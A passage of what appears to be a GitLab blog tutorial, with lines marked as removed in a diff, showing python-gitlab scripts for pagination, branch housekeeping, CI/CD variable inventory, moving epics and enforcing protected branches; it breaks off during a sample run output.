-    “[managers](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#managers)".
-    Each manager type implements methods to work with the datasets (list, get,
-    etc.).
-
-
-    The script shows how to access subgroups, direct projects, all projects
-    including subgroups, issues, epics and todos. These methods and API endpoint
-    require authentication to access all attributes. The code snippet,
-    therefore, uses variables to get the authentication token, and also uses the
-    `GROUP_ID` variable to specify a main group at which to start searching.
-
-
-    ```python
-
-    #!/usr/bin/env python
-
-
-    import gitlab
-
-    import os
-
-    import sys
-
-
-    GITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-    # https://gitlab.com/gitlab-de/use-cases/
-
-    GROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)
-
-    GITLAB_TOKEN = os.environ.get('GL_TOKEN')
-
-
-    if not GITLAB_TOKEN:
-        print("Please set the GL_TOKEN env variable.")
-        sys.exit(1)
-
-    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)
-
-
-    # Main
-
-    main_group = gl.groups.get(GROUP_ID)
-
-
-    print("Sub groups")
-
-    for sg in main_group.subgroups.list():
-        print("Subgroup name: {sg}".format(sg=sg.name))
-
-    print("Projects (direct)")
-
-    for p in main_group.projects.list():
-        print("Project name: {p}".format(p=p.name))
-
-    print("Projects (including subgroups)")
-
-    for p in main_group.projects.list(include_subgroups=True, all=True):
-         print("Project name: {p}".format(p=p.name))
-
-    print("Issues")
-
-    for i in main_group.issues.list(state='opened'):
-        print("Issue title: {t}".format(t=i.title))
-
-    print("Epics")
-
-    for e in main_group.issues.list():
-        print("Epic title: {t}".format(t=e.title))
-
-    print("Todos")
-
-    for t in gl.todos.list(state='pending'):
-        print("Todo: {t} url: {u}".format(t=t.body, u=t.target_url
-    ```
-
-
-    You can run the script
-    [`python_gitlab_object_manager_methods.py`](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_manager_methods.py)
-    by overriding the `GROUP_ID` variable on GitLab.com SaaS for your own group
-    to analyze. The `GL_SERVER` variable needs to be specified for self-managed
-    instance targets. `GL_TOKEN` must provide the personal access token.
-
-
-    ```shell
-
-    export GL_TOKEN=xxx
-
-
-    export GL_SERVER=”https://gitlab.company.com”
-
-
-    export GL_SERVER=”https://gitlab.com”
-
-
-    export GL_GROUP_ID=1234
-
-
-    python3 python_gitlab_object_manager_methods.py
-
-    ```
-
-
-    Going forward, the example snippets won’t show the Python headers and
-    environment variable parsing to focus on the algorithm and functionality.
-    All scripts are open source under the MIT license and available in [this
-    project](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python).
-
-
-    ### Pagination of results
-
-
-    By default, the GitLab API does not return all result sets and requires the
-    clients to use
-    [pagination](https://docs.gitlab.com/ee/api/rest/index.html#pagination) to
-    iterate through all result pages. The python-gitlab library [allows users to
-    specify the
-    settings](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination)
-    globally in the GitLab object, or on each `list()` call. By default, all
-    result sets would fire API requests, which can slow down the script
-    execution. The recommended way is using `iterator=True` which returns a
-    generator object, and API calls are fired on-demand when accessing the
-    object.
-
-
-    The following example searches for the group name `everyonecancontribute`,
-    and uses keyset pagination with 100 results on each page. The iterator is
-    set to true on `gl.groups.list(iterator=True)` to fetch new result sets on
-    demand. If the searched group name is found, the loop breaks and prints a
-    summary, including measuring the duration of the complete search request.
-
-
-    ```python
-
-    SEARCH_GROUP_NAME="everyonecancontribute"
-
-
-    # Use keyset pagination
-
-    # https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination
-
-    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN,
-        pagination="keyset", order_by="id", per_page=100)
-
-    # Iterate over the list, and fire new API calls in case the result set does
-    not match yet
-
-    groups = gl.groups.list(iterator=True)
-
-
-    found_page = 0
-
-    start = timer()
-
-
-    for group in groups:
-        if SEARCH_GROUP_NAME == group.name:
-            # print(group) # debug
-            found_page = groups.current_page
-            break
-
-    end = timer()
-
-
-    duration = f'{end-start:.2f}'
-
-
-    if found_page > 0:
-        print("Pagination API example for Python with GitLab{desc} - found group {g} on page {p}, duration {d}s".format(
-            desc=", the DevSecOps platform", g=SEARCH_GROUP_NAME, p=found_page, d=duration))
-    else:
-        print("Could not find group name '{g}', duration {d}".format(g=SEARCH_GROUP_NAME, d=duration))
-    ```
-
-
-    Executing `python_gitlab_pagination.py` found the [everyonecancontribute
-    group](https://gitlab.com/everyonecancontribute) on page 5.
-
-
-    ```shell
-
-    $ python3 python_gitlab_pagination.py
-
-    Pagination API example for Python with GitLab, the DevSecOps platform -
-    found group everyonecancontribute on page 5, duration 8.51s
-
-    ```
-
-
-    ### Working with object relationships
-
-
-    When working with object relationships – for example, collecting all
-    projects in a given group – additional steps need to be taken. The returned
-    project objects provide limited attributes by default. Manageable objects
-    require an additional `get()` call which requests the full project object
-    from the API in the background. This on-demand workflow helps to avoid
-    waiting times and traffic by reducing the immediately returned attributes.
-
-
-    The following example illustrates the problem by looping through all
-    projects in a group, and tries to call the `project.branches.list()`
-    function, raising an exception in the try/except flow. The second example
-    gets a manageable project object and tries the function call again.
-
-
-    ```python
-
-    # Main
-
-    group = gl.groups.get(GROUP_ID)
-
-
-    # Collect all projects in group and subgroups
-
-    projects = group.projects.list(include_subgroups=True, all=True)
-
-
-    for project in projects:
-        # Try running a method on a weak object
-        try:
-           print("🤔 Project: {pn} 💡 Branches: {b}\n".format(
-            pn=project.name,
-            b=", ".join([x.name for x in project.branches.list()])))
-        except Exception as e:
-            print("Got exception: {e} \n ===================================== \n".format(e=e))
-
-        # Retrieve a full manageable project object
-        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples
-        manageable_project = gl.projects.get(project.id)
-
-        # Print a method available on a manageable object
-        print("🤔 Project: {pn} 💡 Branches: {b}\n".format(
-            pn=manageable_project.name,
-            b=", ".join([x.name for x in manageable_project.branches.list()])))
-    ```
-
-
-    The exception handler in the python-gitlab library prints the error message,
-    and also links to the documentation. It is helpful to take a debugging note
-    that objects might not be available to manage whenever you cannot access
-    object attributes or function calls.
-
-
-    ```shell
-
-    $ python3 python_gitlab_manageable_objects.py
-
-
-    🤔 Project: GitLab API Playground 💡 Branches: cicd-demo-automated-comments,
-    docs-mr-approval-settings, main
-
-
-    Got exception: 'GroupProject' object has no attribute 'branches'
-
-
-    <class 'gitlab.v4.objects.projects.GroupProject'> was created via a
-
-    list() call and only a subset of the data may be present. To ensure
-
-    all data is present get the object using a get(object.id) call. For
-
-    more details, see:
-
-
-    https://python-gitlab.readthedocs.io/en/v3.8.1/faq.html#attribute-error-list
-     =====================================
-    ```
-
-
-    The full script is located
-    [here](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_manageable_objects.py).
-
-
-    ### Working with different object collection scopes
-
-
-    Sometimes, the script needs to collect all projects from a self-managed
-    instance, or from a group with subgroups, or from a single project. The
-    latter is helpful for faster testing on the required attributes, and the
-    group fetch helps with testing at scale later. The following snippet
-    collects all project objects into the `projects` list, and appends objects
-    from different incoming configuration. You will also see the manageable
-    object pattern for project in groups again.
-
-
-    ```python
-        # Collect all projects, or prefer projects from a group id, or a project id
-        projects = []
-
-        # Direct project ID
-        if PROJECT_ID:
-            projects.append(gl.projects.get(PROJECT_ID))
-
-        # Groups and projects inside
-        elif GROUP_ID:
-            group = gl.groups.get(GROUP_ID)
-
-            for project in group.projects.list(include_subgroups=True, all=True):
-                # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples
-                manageable_project = gl.projects.get(project.id)
-                projects.append(manageable_project)
-
-        # All projects on the instance (may take a while to process)
-        else:
-            projects = gl.projects.list(get_all=True)
-    ```
-
-
-    The full example is located in [this
-    script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)
-    for listing MR approval rules settings for specified project targets.
-
-
-    ## DevSecOps use cases for API read actions
-
-
-    The authenticated access token needs [`read_api`
-    scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).
-
-
-    The following use cases are discussed:
-
-
-    - [List branches by merged state](#list-branches-by-merged-state)
-
-    - [Print project settings for review: MR approval
-    rules](#print-project-settings-for-review-mr-approval-rules)
-
-    - [Inventory: Get all CI/CD variables that are protected or
-    masked](#inventory-get-all-cicd-variables-that-are-protected-or-masked)
-
-    - [Download a file from the
-    repository](#download-a-file-from-the-repository)
-
-    - [Migration help: List all certificate-based Kubernetes
-    clusters](#migration-help-list-all-certificate-based-kubernetes-clusters)
-
-    - [Team efficiency: Check if existing merge requests need to be rebased
-    after merging a huge refactoring
-    MR](#team-efficiency-check-if-existing-merge-requests-need-to-be-rebased-after-merging-a-huge-refactoring-mr)
-
-
-    ### List branches by merged state
-
-
-    A common ask is to do some Git housekeeping in the project, and see how many
-    merged and unmerged branches are floating around. [A question on the GitLab
-    community
-    forum](https://forum.gitlab.com/t/python-gitlab-project-branch-list-filter/80257)
-    about filtering branch listings inspired me look into writing a
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_branches_by_state.py)
-    that helps achieve this goal. The `branches.list()` method returns all
-    branch objects that are stored in a temporary list for later processing for
-    two loops: Collecting merged branch names, and not merged branch names. The
-    `merged` attribute on the `branch` object is a boolean value indicating
-    whether the branch has been merged.
-
-
-    ```python
-
-    project = gl.projects.get(PROJECT_ID, lazy=False, pagination="keyset",
-    order_by="updated_at", per_page=100)
-
-
-    # Get all branches
-
-    real_branches = []
-
-    for branch in project.branches.list():
-        real_branches.append(branch)
-
-    print("All branches")
-
-    for rb in real_branches:
-        print("Branch: {b}".format(b=rb.name))
-
-    # Get all merged branches
-
-    merged_branches_names = []
-
-    for branch in real_branches:
-        if branch.default:
-            continue # ignore the default branch for merge status
-
-        if branch.merged:
-            merged_branches_names.append(branch.name)
-
-    print("Branches merged: {b}".format(b=", ".join(merged_branches_names)))
-
-
-    # Get un-merged branches
-
-    not_merged_branches_names = []
-
-    for branch in real_branches:
-        if branch.default:
-            continue # ignore the default branch for merge status
-
-        if not branch.merged:
-            not_merged_branches_names.append(branch.name)
-
-    print("Branches not merged: {b}".format(b=",
-    ".join(not_merged_branches_names)))
-
-    ```
-
-
-    The workflow is intentionally a step-by-step read, you can practice
-    optimizing the Python code for the conditional branch name collection.
-
-
-    ### Print project settings for review: MR approval rules
-
-
-    The following
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)
-    walks through all collected project objects, and checks whether approval
-    rules are specified. If the list length is greater than zero, it loops over
-    the list and prints the settings using a JSON pretty-print method.
-
-
-    ```python
-        # Loop over projects and print the settings
-        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_request_approvals.html
-        for project in projects:
-            if len(project.approvalrules.list()) > 0:
-                #print(project) #debug
-                print("# Project: {name}, ID: {id}\n\n".format(name=project.name_with_namespace, id=project.id))
-                print("[MR Approval settings]({url}/-/settings/merge_requests)\n\n".format(url=project.web_url))
-
-                for ar in project.approvalrules.list():
-                    print("## Approval rule: {name}, ID: {id}".format(name=ar.name, id=ar.id))
-                    print("\n```json\n")
-                    print(json.dumps(ar.attributes, indent=2)) # TODO: can be more beautiful, but serves its purpose with pretty print JSON
-                    print("\n```\n")
-
-    ```
-
-
-    ### Inventory: Get all CI/CD variables that are protected or masked
-
-
-    [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) are helpful for
-    pipeline parameterization, and can be configured globally on the instance,
-    in groups and in projects. Secrets, passwords and otherwise sensitive
-    information could be stored there, too. Sometimes it can be necessary to get
-    an overview of all CI/CD variables that are either protected or masked to
-    get a sense of how many variables need to be updated when rotating tokens
-    for example.
-
-
-    The following
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_variables_masked_or_protected.py)
-    gets all groups and projects and tries to collect the CI/CD variables from
-    the global instance (requires admin permissions), groups and projects
-    (requires maintainer/owner permissions). It prints all CI/CD variables that
-    are either protected or masked, adding that a potential secret value is
-    stored.
-
-
-    ```python
-
-    #!/usr/bin/env python
-
-
-    import gitlab
-
-    import os
-
-    import sys
-
-
-    # Helper function to evaluate secrets and print the variables
-
-    def eval_print_var(var):
-        if var.protected or var.masked:
-            print("🛡️🛡️🛡️ Potential secret: Variable '{name}', protected {p}, masked: {m}".format(name=var.key,p=var.protected,m=var.masked))
-
-    GITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-    GITLAB_TOKEN = os.environ.get('GL_TOKEN') # token requires maintainer+
-    permissions. Instance variables require admin access.
-
-    PROJECT_ID = os.environ.get('GL_PROJECT_ID') #optional
-
-    GROUP_ID = os.environ.get('GL_GROUP_ID', 8034603) #
-    https://gitlab.com/everyonecancontribute
-
-
-    if not GITLAB_TOKEN:
-        print("🤔 Please set the GL_TOKEN env variable.")
-        sys.exit(1)
-
-    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)
-
-
-    # Collect all projects, or prefer projects from a group id, or a project id
-
-    projects = []
-
-    # Collect all groups, or prefer group from a group id
-
-    groups = []
-
-
-    # Direct project ID
-
-    if PROJECT_ID:
-        projects.append(gl.projects.get(PROJECT_ID))
-
-    # Groups and projects inside
-
-    elif GROUP_ID:
-        group = gl.groups.get(GROUP_ID)
-
-        for project in group.projects.list(include_subgroups=True, all=True):
-            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples
-            manageable_project = gl.projects.get(project.id)
-            projects.append(manageable_project)
-
-        groups.append(group)
-
-    # All projects/groups on the instance (may take a while to process, use
-    iterators to fetch on-demand).
-
-    else:
-        projects = gl.projects.list(iterator=True)
-        groups = gl.groups.list(iterator=True)
-
-    print("# List of all CI/CD variables marked as secret (instance, groups,
-    projects)")
-
-
-    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/variables.html
-
-
-    # Instance variables (if the token has permissions)
-
-    print("Instance variables, if accessible")
-
-    try:
-        for i_var in gl.variables.list(iterator=True):
-            eval_print_var(i_var)
-    except:
-        print("No permission to fetch global instance variables, continueing without.")
-        print("\n")
-
-    # group variables (maintainer permissions for groups required)
-
-    for group in groups:
-        print("Group {n}, URL: {u}".format(n=group.full_path, u=group.web_url))
-        for g_var in group.variables.list(iterator=True):
-            eval_print_var(g_var)
-
-        print("\n")
-
-    # Loop over projects and print the settings
-
-    for project in projects:
-        # skip archived projects, they throw 403 errors
-        if project.archived:
-            continue
-
-        print("Project {n}, URL: {u}".format(n=project.path_with_namespace, u=project.web_url))
-        for p_var in project.variables.list(iterator=True):
-            eval_print_var(p_var)
-
-        print("\n")
-    ```
-
-
-    The script intentionally does not print the variable values, this is left as
-    an exercise for safe environments. The recommended way of storing secrets is
-    to [use external providers](https://docs.gitlab.com/ee/ci/secrets/).
-
-
-    ### Download a file from the repository
-
-
-    The
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_raw_file_content.py)
-    goal is download a file path from a specified branch name, and store its
-    content in a new file.
-
-
-    ```python
-
-    # Goal: Try to download README.md from
-    https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/README.md
-
-    FILE_NAME = 'README.md'
-
-    BRANCH_NAME = 'main'
-
-
-    # Search the file in the repository tree and get the raw blob
-
-    for f in project.repository_tree():
-        print("File path '{name}' with id '{id}'".format(name=f['name'], id=f['id']))
-
-        if f['name'] == FILE_NAME:
-            f_content = project.repository_raw_blob(f['id'])
-            print(f_content)
-
-    # Alternative approach: Get the raw file from the main branch
-
-    raw_content = project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME)
-
-    print(raw_content)
-
-
-    # Store the file on disk
-
-    with open('raw_README.md', 'wb') as f:
-        project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME, streamed=True, action=f.write)
-    ```
-
-
-    ### Migration help: List all certificate-based Kubernetes clusters
-
-
-    The certificate-based integration of Kubernetes clusters into GitLab [was
-    deprecated](https://docs.gitlab.com/ee/update/deprecations.html#self-managed-certificate-based-integration-with-kubernetes).
-    To help with migration plans, the inventory of existing groups and projects
-    can be automated using the GitLab API.
-
-
-    ```python
-
-    groups = [ ]
-
-
-    # get GROUP_ID group
-
-    groups.append(gl.groups.get(GROUP_ID))
-
-
-    for group in groups:
-        for sg in group.subgroups.list(include_subgroups=True, all=True):
-            real_group = gl.groups.get(sg.id)
-            groups.append(real_group)
-
-    group_clusters = {}
-
-    project_clusters = {}
-
-
-    for group in groups:
-        #Collect group clusters
-        g_clusters = group.clusters.list()
-
-        if len(g_clusters) > 0:
-            group_clusters[group.id] = g_clusters
-
-        # Collect all projects in group and subgroups and their clusters
-        projects = group.projects.list(include_subgroups=True, all=True)
-
-        for project in projects:
-            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples
-            manageable_project = gl.projects.get(project.id)
-
-            # skip archived projects
-            if project.archived:
-                continue
-
-            p_clusters = manageable_project.clusters.list()
-
-            if len(p_clusters) > 0:
-                project_clusters[project.id] = p_clusters
-
-    # Print summary
-
-    print("## Group clusters\n\n")
-
-    for g_id, g_clusters in group_clusters.items():
-        url = gl.groups.get(g_id).web_url
-        print("Group ID {g_id}: {u}\n\n".format(g_id=g_id, u=url))
-        print_clusters(g_clusters)
-
-    print("## Project clusters\n\n")
-
-    for p_id, p_clusters in project_clusters.items():
-        url = gl.projects.get(p_id).web_url
-        print("Project ID {p_id}: {u}\n\n".format(p_id=p_id, u=url))
-        print_clusters(p_clusters)
-    ```
-
-
-    The full script is available
-    [here](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/list_cert_based_kubernetes_clusters.py).
-
-
-    ### Team efficiency: Check if existing merge requests need to be rebased
-    after merging a huge refactoring MR
-
-
-    The [GitLab handbook](/handbook/) repository is a large monorepo with many
-    merge requests created, reviewed, approved and merged. Some reviews take
-    longer than others, and some merge requests touch multiple pages when
-    renaming a string, or [all handbook
-    pages](/handbook/about/#count-handbook-pages). The marketing handbook needed
-    restructuring (think of code refactoring), and as such, many directories and
-    paths were moved or renamed. [The issue
-    tasks](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#tasks)
-    grew over time, and I was worried that other merge requests would run into
-    conflicts after merging the huge changes. I remembered that the
-    python-gitlab can fetch all merge requests in a given project, including
-    details on the Git branch, source paths changed and much more.
-
-
-    The resulting script configures a list of source paths that are touched by
-    all merge requests, and checks against the merge request diff with
-    `mr.diffs.list()` and comparing if a pattern matches against the value in
-    `old_path`. If a match is found, the script logs it, and saves the merge
-    request in the `seen_mr` dictionary for the summary later. There are
-    additional attributes collected to allow printing a Markdown task list with
-    URLs for easier copy-paste into [issue
-    descriptions](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#additional-tasks).
-    The full script is located
-    [here](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/search_mr_contains_updated_path.py).
-
-
-    ```python
-
-    PATH_PATTERNS = [
-        'path/to/handbook/source/page.md',
-    ]
-
-
-    # Only list opened MRs
-
-    #
-    https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_requests.html#project-merge-requests
-
-    mrs = project.mergerequests.list(state='opened', iterator=True)
-
-
-    seen_mr = {}
-
-
-    for mr in mrs:
-        # https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs
-        real_mr = project.mergerequests.get(mr.get_id())
-        real_mr_id = real_mr.attributes['iid']
-        real_mr_url = real_mr.attributes['web_url']
-
-        for diff in real_mr.diffs.list(iterator=True):
-            real_diff = real_mr.diffs.get(diff.id)
-
-            for d in real_diff.attributes['diffs']:
-                for p in PATH_PATTERNS:
-                    if p in d['old_path']:
-                        print("MATCH: {p} in MR {mr_id}, status '{s}', title '{t}' - URL: {mr_url}".format(
-                            p=p,
-                            mr_id=real_mr_id,
-                            s=mr_status,
-                            t=real_mr.attributes['title'],
-                            mr_url=real_mr_url))
-
-                        if not real_mr_id in seen_mr:
-                            seen_mr[real_mr_id] = real_mr
-
-    print("\n# MRs to update\n")
-
-
-    for id, real_mr in seen_mr.items():
-        print("- [ ] !{mr_id} - {mr_url}+ Status: {s}, Title: {t}".format(
-            mr_id=id,
-            mr_url=real_mr.attributes['web_url'],
-            s=real_mr.attributes['detailed_merge_status'],
-            t=real_mr.attributes['title']))
-    ```
-
-
-    ## DevSecOps use cases for API write actions
-
-
-    The authenticated access token needs full [`api`
-    scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).
-
-
-    The following use cases are discussed:
-
-
-    - [Move epics between groups](#move-epics-between-groups)
-
-    - [Compliance: Ensure that project settings are not
-    overridden](#compliance-ensure-that-project-settings-are-not-overridden)
-
-    - [Taking notes, generate due date
-    overview](#taking-notes-generate-due-date-overview)
-
-    - [Create issue index in a Markdown file, grouped by
-    labels](#create-issue-index-in-a-markdown-file-grouped-by-labels)
-
-
-    ### Move epics between groups
-
-
-    Sometimes it is necessary to move epics, similar to issues, into a different
-    group. A question in the GitLab marketing Slack channel inspired me to look
-    into a [feature proposal for the
-    UI](https://gitlab.com/gitlab-org/gitlab/-/issues/12689), [quick
-    actions](/blog/2021/02/18/improve-your-gitlab-productivity-with-these-10-tips/),
-    and later, thinking about writing an API script to automate the steps. The
-    idea is simple: Move an epic from a source group to a target group, and copy
-    its title, description and labels. Since epics allow to group issues, they
-    need to be reassigned to the target epic, too. Parent-child epic
-    relationships need to be taken into account to: All child epics of the
-    source epics need to be reassigned to the target epic.
-
-
-    The following script looks up all source [epic
-    attributes](https://python-gitlab.readthedocs.io/en/stable/gl_objects/epics.html)
-    first, and then creates a new target epic with minimal attributes: title and
-    description. The labels list is copied and the changes are persisted with
-    the `save()` call. The issues assigned to the epic need to be re-created in
-    the target epic. The `create()` call actually creates the relationship item,
-    not a new issue object itself. The child epics move requires a different
-    approach, since the relationship is vice versa: The `parent_id` on the child
-    epic needs to be compared against the source epic ID, and if matching,
-    updated to the target epic ID. After copying everything successfully, the
-    source epic needs to be changed into the `closed` state.
-
-
-    ```python
-
-    #!/usr/bin/env python
-
-
-    # Description: Show how epics can be moved between groups, including title,
-    description, labels, child epics and issues.
-
-    # Requirements: python-gitlab Python libraries. GitLab API write access, and
-    maintainer access to all configured groups/projects.
-
-    # Author: Michael Friedrich <mfriedrich@gitlab.com>
-
-    # License: MIT, (c) 2023-present GitLab B.V.
-
-
-    import gitlab
-
-    import os
-
-    import sys
-
-
-    GITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-    # https://gitlab.com/gitlab-da/use-cases/gitlab-api
-
-    SOURCE_GROUP_ID = os.environ.get('GL_SOURCE_GROUP_ID', 62378643)
-
-    # https://gitlab.com/gitlab-da/use-cases/gitlab-api/epic-move-target
-
-    TARGET_GROUP_ID = os.environ.get('GL_TARGET_GROUP_ID', 62742177)
-
-    # https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1
-
-    EPIC_ID = os.environ.get('GL_EPIC_ID', 1)
-
-    GITLAB_TOKEN = os.environ.get('GL_TOKEN')
-
-
-    if not GITLAB_TOKEN:
-        print("Please set the GL_TOKEN env variable.")
-        sys.exit(1)
-
-    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)
-
-
-    # Main
-
-    # Goal: Move epic to target group, including title, body, labels, and child
-    epics and issues.
-
-    source_group = gl.groups.get(SOURCE_GROUP_ID)
-
-    target_group = gl.groups.get(TARGET_GROUP_ID)
-
-
-    # Create a new target epic and copy all its items, then close the source
-    epic.
-
-    source_epic = source_group.epics.get(EPIC_ID)
-
-    # print(source_epic) #debug
-
-
-    epic_title = source_epic.title
-
-    epic_description = source_epic.description
-
-    epic_labels = source_epic.labels
-
-    epic_issues = source_epic.issues.list()
-
-
-    # Create the epic with minimal attributes
-
-    target_epic = target_group.epics.create({
-        'title': epic_title,
-        'description': epic_description,
-    })
-
-
-    # Assign the list
-
-    target_epic.labels = epic_labels
-
-
-    # Persist the changes in the new epic
-
-    target_epic.save()
-
-
-    # Epic issues need to be re-assigned in a loop
-
-    for epic_issue in epic_issues:
-        ei = target_epic.issues.create({'issue_id': epic_issue.id})
-
-    # Child epics need to update their parent_id to the new epic
-
-    # Need to search in all epics, use lazy object loading
-
-    for sge in source_group.epics.list(lazy=True):
-        # this epic has the source epic as parent epic?
-        if sge.parent_id == source_epic.id:
-            # Update the parent id
-            sge.parent_id = target_epic.id
-            sge.save()
-
-    print("Copied source epic {source_id} ({source_url}) to target epic
-    {target_id} ({target_url})".format(
-        source_id=source_epic.id, source_url=source_epic.web_url,
-        target_id=target_epic.id, target_url=target_epic.web_url))
-
-    # Close the old epic
-
-    source_epic.state_event = 'close'
-
-    source_epic.save()
-
-    print("Closed source epic {source_id} ({source_url})".format(
-        source_id=source_epic.id, source_url=source_epic.web_url))
-
-    ```
-
-
-    ```shell
-
-    $  python3 move_epic_between_groups.py
-
-    Copied source epic 725341
-    (https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1) to
-    target epic 725358
-    (https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/6)
-
-    Closed source epic 725341
-    (https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1)
-
-    ```
-
-
-    The [target
-    epic](https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/5)
-    was created and shows the expected result: Same title, description, labels,
-    child epic, and issues.
-
-
-    ![Target epic which has all attributes copied from the source epic: title,
-    description, labels, child epics,
-    issues](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_moved_epic_with_all_attributes.png){:
-    .shadow}
-
-
-    **Exercise**: The script does not copy
-    [comments](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html)
-    and [discussion
-    threads](https://python-gitlab.readthedocs.io/en/stable/gl_objects/discussions.html)
-    yet. Research and help update the script – merge requests welcome!
-
-
-    ### Compliance: Ensure that project settings are not overridden
-
-
-    Project and group settings may be accidentally changed by team members with
-    maintainer permissions. Compliance requirements need to be met. Another use
-    case is to manage configuration with Infrastructure as Code tools, and
-    ensure that GitLab instance/group/project/etc. configuration is persisted
-    and always the same. Tools like Ansible or Terraform can invoke an API
-    script, or use the python-gitlab library to perform tasks to manage
-    settings.
-
-
-    The following example only has the `main` branch protected.
-
-
-    ![GitLab project settings for repositories and protected branches, main
-    branch](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main.png){:
-    .shadow}
-
-
-    Let us assume that a new `production` branch has been added and should be
-    protected, too. The following
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/enforce_protected_branches.py)
-    defines the dictionary of protected branches and their access levels for
-    push/merge permissions to maintainer level, and builds the comparison logic
-    around the [python-gitlab protected branches
-    documentation](https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html).
-
-
-    ```python
-
-    #!/usr/bin/env python
-
-
-    import gitlab
-
-    import os
-
-    import sys
-
-
-    GITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-    # https://gitlab.com/gitlab-da/use-cases/
-
-    GROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)
-
-    GITLAB_TOKEN = os.environ.get('GL_TOKEN')
-
-
-    PROTECTED_BRANCHES = {
-        'main': {
-            'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,
-            'push_access_level': gitlab.const.AccessLevel.MAINTAINER
-        },
-        'production': {
-            'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,
-            'push_access_level': gitlab.const.AccessLevel.MAINTAINER
-        },
-    }
-
-
-    if not GITLAB_TOKEN:
-        print("Please set the GL_TOKEN env variable.")
-        sys.exit(1)
-
-    gl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)
-
-
-    # Main
-
-    group = gl.groups.get(GROUP_ID)
-
-
-    # Collect all projects in group and subgroups
-
-    projects = group.projects.list(include_subgroups=True, all=True)
-
-
-    for project in projects:
-        # Retrieve a full manageable project object
-        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples
-        manageable_project = gl.projects.get(project.id)
-
-        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html
-        protected_branch_names = []
-
-        for pb in manageable_project.protectedbranches.list():
-            manageable_protected_branch = manageable_project.protectedbranches.get(pb.name)
-            print("Protected branch name: {n}, merge_access_level: {mal}, push_access_level: {pal}".format(
-                n=manageable_protected_branch.name,
-                mal=manageable_protected_branch.merge_access_levels,
-                pal=manageable_protected_branch.push_access_levels
-            ))
-
-            protected_branch_names.append(manageable_protected_branch.name)
-
-        for branch_to_protect, levels in PROTECTED_BRANCHES.items():
-            # Fix missing protected branches
-            if branch_to_protect not in protected_branch_names:
-                print("Adding branch {n} to protected branches settings".format(n=branch_to_protect))
-                p_branch = manageable_project.protectedbranches.create({
-                    'name': branch_to_protect,
-                    'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,
-                    'push_access_level': gitlab.const.AccessLevel.MAINTAINER
-                })
-    ```
-
-
-    Running the script prints the existing `main` branch, and a note that
-    `production` will be updated. The screenshot from the repository settings
-    proves this action.
-
-
-    ```
-
-    $ python3
-    enforce_protected_branches.py                                               
-    ─╯
-
-    Protected branch name: main, merge_access_level: [{'id': 67294702,
-    'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':
-    None, 'group_id': None}], push_access_level: [{'id': 68546039,
